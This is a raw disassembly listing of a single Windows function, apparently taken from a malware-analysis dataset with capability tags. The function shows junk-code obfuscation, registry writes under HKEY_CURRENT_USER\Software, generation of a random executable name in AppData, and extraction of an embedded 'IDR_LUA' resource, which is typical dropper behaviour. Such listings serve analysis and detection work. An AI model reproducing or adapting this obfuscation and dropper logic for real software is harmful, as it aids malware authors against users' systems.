Function at 0x401e10
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40fb81
mov eax, dword fs:[0]
push eax
sub esp, 0x36c
mov eax, dword [0x4144b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call edi
push 0x104
lea eax, [ebp - 0x160]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0x416808
push 0x416908
push 0x416a08
lea ecx, [ebp - 0x160]
push 0x416b08
push ecx
call fcn.00403a12
mov eax, 0x416908
add esp, 0x14
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f10
sub eax, edx
lea ebx, [eax + 1]
push ebx
mov dword [ebp - 0x374], ebx
call fcn.00402e1a
mov esi, eax
mov eax, 0x416908
mov edx, esi
add esp, 4
mov dword [ebp - 0x378], esi
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401f40
push 1
mov dword [ebp - 4], 0
call edi
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push str.stst_
push 0x416908
call fcn.0040352f
add esp, 8
test eax, eax
je 0x402027
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 1
call edi
push 0x412948
push esi
mov byte [0x416c07], 1
dec ebx
call fcn.0040352f
add esp, 8
test eax, eax
je 0x401feb
sub eax, esi
jmp 0x401fee
or eax, 0xffffffff
push ebx
inc eax
push eax
lea edx, [ebp - 0x378]
push edx
lea ebx, [ebp - 0x370]
call fcn.004010b0
lea esi, [ebp - 0x378]
mov byte [ebp - 4], 1
call fcn.00401020
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x370]
push eax
call fcn.004031bd
add esp, 4
jmp 0x40206c
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0x41294c
push 0x412950
lea ebx, [ebp - 0x378]
call fcn.004011b0
add esp, 8
mov ebx, dword [ebp - 0x378]
push 0x41294c
push ebx
call fcn.00403c55
add esp, 8
test eax, eax
je 0x4021e9
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 1
call edi
push str.mile
lea ecx, [ebp - 0x368]
push str.HKEY_CURRENT_USERSoftware_s
push ecx
call fcn.00403796
add esp, 0xc
lea edx, [ebp - 0x36c]
push edx
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x36c], 0
call fcn.00402cf0
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x36c]
test esi, esi
je 0x402151
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov eax, ebx
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402130
sub eax, edx
inc eax
push eax
push ebx
push 1
push 0
push str.TernNo
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x4021de
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
lea eax, [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x368]
call fcn.00402b80
test al, al
je 0x4021d8
push 1
call edi
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edi, ebx
lea eax, [ebp - 0x36c]
call fcn.00402da0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x36c]
test esi, esi
je 0x4021e9
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0
call fcn.00403546
add esp, 4
push eax
call fcn.00403c6c
xor eax, eax
add esp, 4
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov byte [ebp - 0x13], al
xor esi, esi
lea ebx, [ebx]
call fcn.00403c7e
cdq
mov ecx, 0x19
idiv ecx
inc esi
add dl, 0x61
mov byte [ebp + esi - 0x1d], dl
cmp esi, 9
jl 0x402240
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x5c]
push str._s.exe
push eax
call fcn.00403796
add esp, 0xc
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 1
call edi
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 1
call edi
push 1
call edi
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
push 0x3640e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 1
call edi
push 0xa
push str.IDR_LUA
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x402315
lea edx, [ebp - 0x264]
push edx
mov edx, eax
lea ecx, [ebp - 0x5c]
call fcn.00401770
add esp, 4
push ebx
call fcn.004031bd
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004031ae
mov esp, ebp
pop ebp
ret